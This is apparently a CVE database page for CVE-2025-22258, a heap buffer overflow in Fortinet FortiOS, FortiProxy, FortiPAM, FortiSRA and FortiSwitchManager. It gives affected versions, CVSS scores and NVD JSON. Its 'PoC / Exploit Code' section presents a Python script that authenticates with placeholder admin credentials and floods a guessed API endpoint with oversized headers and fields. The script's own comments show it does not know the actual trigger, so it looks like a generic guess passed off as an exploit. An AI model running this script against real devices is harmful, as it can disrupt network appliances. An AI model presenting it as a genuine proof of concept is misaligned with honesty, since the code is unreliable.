Security Vulnerability Report
中文
CVE-2025-22258 CVSS 6.5 MEDIUM

CVE-2025-22258

Published: 2025-10-14 16:15:37
Last Modified: 2025-10-15 17:34:02

Description

A heap-based buffer overflow in Fortinet FortiSRA 1.5.0, 1.4.0 through 1.4.2, FortiPAM 1.5.0, 1.4.0 through 1.4.2, 1.3.0 through 1.3.1, 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiProxy 7.6.0 through 7.6.1, 7.4.0 through 7.4.7, FortiOS 7.6.0 through 7.6.2, 7.4.0 through 7.4.6, 7.2.0 through 7.2.10, 7.0.2 through 7.0.16, FortiSwitchManager 7.2.1 through 7.2.5 allows attackers to escalate their privilege via specially crafted http requests.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortipam:1.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisra:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisra:1.5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:* - VULNERABLE
FortiSRA 1.5.0
FortiSRA 1.4.0 - 1.4.2
FortiPAM 1.5.0
FortiPAM 1.4.0 - 1.4.2
FortiPAM 1.3.0 - 1.3.1
FortiPAM 1.2.0
FortiPAM 1.1.0 - 1.1.2
FortiPAM 1.0.0 - 1.0.3
FortiProxy 7.6.0 - 7.6.1
FortiProxy 7.4.0 - 7.4.7
FortiOS 7.6.0 - 7.6.2
FortiOS 7.4.0 - 7.4.6
FortiOS 7.2.0 - 7.2.10
FortiOS 7.0.2 - 7.0.16
FortiSwitchManager 7.2.1 - 7.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-22258 PoC - Fortinet Heap-based Buffer Overflow # Vulnerability: Heap-based Buffer Overflow in HTTP request processing # Affected: FortiSRA, FortiPAM, FortiProxy, FortiOS, FortiSwitchManager # Requirement: High privilege authentication (PR:H) import requests import sys TARGET = "https://target-fortinet-device:443" USERNAME = "admin" PASSWORD = "password123" def exploit(target, username, password): """ Exploit heap-based buffer overflow via crafted HTTP request. The vulnerability exists in HTTP request parsing where insufficient bounds checking allows heap overflow. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{target}/logincheck" login_data = { "username": username, "secretkey": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") # Step 2: Craft malicious HTTP request to trigger heap overflow # The overflow is triggered by an excessively long value in # a specific HTTP header or parameter processed by the device overflow_payload = "A" * 8192 # Oversized payload to overflow heap buffer # Target endpoint that processes user-supplied data in HTTP request target_endpoint = f"{target}/api/v2/monitor/system/admin/setting" headers = { "Content-Type": "application/json", "X-Forwarded-For": overflow_payload, # Trigger point: oversized header "User-Agent": overflow_payload, } # Step 3: Send crafted request to trigger heap overflow resp = session.post( target_endpoint, headers=headers, json={"name": overflow_payload}, verify=False ) print(f"[*] Response status: {resp.status_code}") if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Potential heap overflow triggered") return True return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET exploit(target, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22258", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:36.523", "lastModified": "2025-10-15T17:34:02.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow in Fortinet FortiSRA 1.5.0, 1.4.0 through 1.4.2, FortiPAM 1.5.0, 1.4.0 through 1.4.2, 1.3.0 through 1.3.1, 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiProxy 7.6.0 through 7.6.1, 7.4.0 through 7.4.7, FortiOS 7.6.0 through 7.6.2, 7.4.0 through 7.4.6, 7.2.0 through 7.2.10, 7.0.2 through 7.0.16, FortiSwitchManager 7.2.1 through 7.2.5 allows attackers to escalate their privilege via specially crafted http requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.2", "versionEndExcluding": "7.0.17", "matchCriteriaId": "7F5DB611-137B-4FE8-BADF-CE8B35CBAA89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.11", "matchCriteriaId": "4386465B-EFF9-41BA-B393-82135A2591DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.7", "matchCriteriaId": "DE7A88C9-8466-4414-AECB-0689F23108CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "D6B883B9-9ECD-4BC5-B497-770F34F92473"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortipam:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "6C39FBB2-E81C-4207-AFDD-080EC80F00A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortipam:1.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "0401C6C0-DC87-4728-873E-6DA489C859A8"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.8", "matchCriteriaId": "AE578F21-0BE9-45BB-AE21-494308FF96B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.2", "matchCriteriaId": "C6E32BEB-8804-452C-A054-DD9FFCC8B796"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisra:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "4E56CAA8-088C-4116-9C3B-A2E53A2BB82B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisra:1.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "4EF5FD80-43CE-40AF-9419-2639BD772409"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.1", "versionEndExcluding": "7.2.6", "matchCriteriaId": "49324722-E453-42FC-8D2A-C94EF60FF710"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-546", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}